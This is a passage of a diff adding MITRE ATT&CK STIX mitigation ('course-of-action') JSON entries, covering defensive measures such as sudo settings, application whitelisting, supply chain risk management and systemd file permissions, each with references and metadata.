}, + { + "type": "course-of-action", + "name": "Startup Items Mitigation", + "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can\u2019t be leveraged for privilege escalation.", + "external_references": [ + { + "external_id": "T1165", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1165" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719", + "modified": "2019-07-25T12:01:55.766Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Stored Data Manipulation Mitigation", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1492", + "url": "https://attack.mitre.org/mitigations/T1492" + }, + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T17:02:25.107Z", + "id": "course-of-action--e9362d25-4427-446b-99e8-b8f0c3b86615", + "modified": "2019-07-25T12:02:27.102Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Sudo Caching Mitigation", + "description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed. Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.", + "external_references": [ + { + "external_id": "T1206", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1206" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--dbf0186e-722d-4a0a-af6a-b3460f162f84", + "modified": "2019-07-25T12:02:48.931Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Sudo Mitigation", + "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", + "external_references": [ + { + "external_id": "T1169", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1169" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c", + "modified": "2019-07-25T12:03:12.876Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Supply Chain Compromise Mitigation", + "description": "Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.\n\nLeverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): \n\n* Uniquely Identify Supply Chain Elements, Processes, and Actors\n* Limit Access and Exposure within the Supply Chain\n* Establish and Maintain the Provenance of Elements, Processes, Tools, and Data\n* Share Information within Strict Limits\n* Perform SCRM Awareness and Training\n* Use Defensive Design for Systems, Elements, and Processes\n* Perform Continuous Integrator Review\n* Strengthen Delivery Mechanisms\n* Assure Sustainment Activities and Processes\n* Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle\n\nA patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)", + "external_references": [ + { + "external_id": "T1195", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1195" + }, + { + "description": "The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.", + "source_name": "MITRE SE Guide 2014", + "url": "https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf" + }, + { + "description": "Boyens, J,. Et al.. (2002, October). Notional Supply Chain Risk Management Practices for Federal Information Systems. Retrieved April 6, 2018.", + "source_name": "NIST Supply Chain 2012", + "url": "http://dx.doi.org/10.6028/NIST.IR.7622" + }, + { + "source_name": "OWASP Top 10 2017", + "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.", + "url": "https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--97d8eadb-0459-4c1d-bf1a-e053bd75df61", + "modified": "2019-07-25T12:04:31.644Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "System Firmware Mitigation", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)", + "external_references": [ + { + "external_id": "T1019", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1019" + }, + { + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "source_name": "TCG Trusted Platform Module", + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6", + "modified": "2019-07-25T12:06:06.231Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "System Information Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1082", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1082" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67", + "modified": "2019-07-25T12:24:30.940Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "System Network Configuration Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1016", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1016" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40", + "modified": "2019-07-25T12:24:53.003Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "System Network Connections Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1049", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1049" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c1676218-c16a-41c9-8f7a-023779916e39", + "modified": "2019-07-25T12:25:12.692Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "System Owner/User Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1033", + "url": "https://attack.mitre.org/mitigations/T1033" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44", + "modified": "2019-07-25T12:25:31.766Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "System Service Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1007", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1007" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2", + "modified": "2019-07-25T12:25:53.182Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "System Time Discovery Mitigation", + "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1124", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1124" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307", + "modified": "2019-07-25T12:26:15.250Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Systemd Service Mitigation", + "description": "The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services. ", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1501", + "url": "https://attack.mitre.org/mitigations/T1501" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-23T20:33:09.318Z", + "id": "course-of-action--83130e62-bca6-4a81-bd4b-8e233bd49db6", + "modified": "2019-07-25T12:26:37.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Taint Shared Content Mitigation", + "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1080", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1080" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018", + "modified": "2019-07-25T12:26:58.596Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Template Injection Mitigation", + "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)", + "external_references": [ + { + "external_id": "T1221", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1221" + }, + { + "source_name": "Microsoft Disable Macros", + "description": "Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.", + "url": "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6" + }, + { + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "source_name": "Anomali Template Injection MAR 2018", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c7e49501-6021-414f-bfa1-94519d8ec314", + "modified": "2019-07-25T12:27:19.577Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Third-party Software Mitigation", + "description": "Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.\n\nGrant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nEnsure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.\n\nWhere the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "external_references": [ + { + "external_id": "T1072", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1072" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930", + "modified": "2019-07-25T12:27:40.782Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Threat Intelligence Program", + "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", + "external_references": [ + { + "external_id": "M1019", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1019" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T19:55:50.927Z", + "id": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", + "modified": "2019-06-06T19:55:50.927Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Time Providers Mitigation", + "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)", + "external_references": [ + { + "external_id": "T1209", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1209" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "source_name": "Microsoft W32Time May 2017", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a1482e43-f3ff-4fbd-94de-ad1244738166", + "modified": "2019-07-25T12:28:05.462Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Timestomp Mitigation", + "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1099", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1099" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": 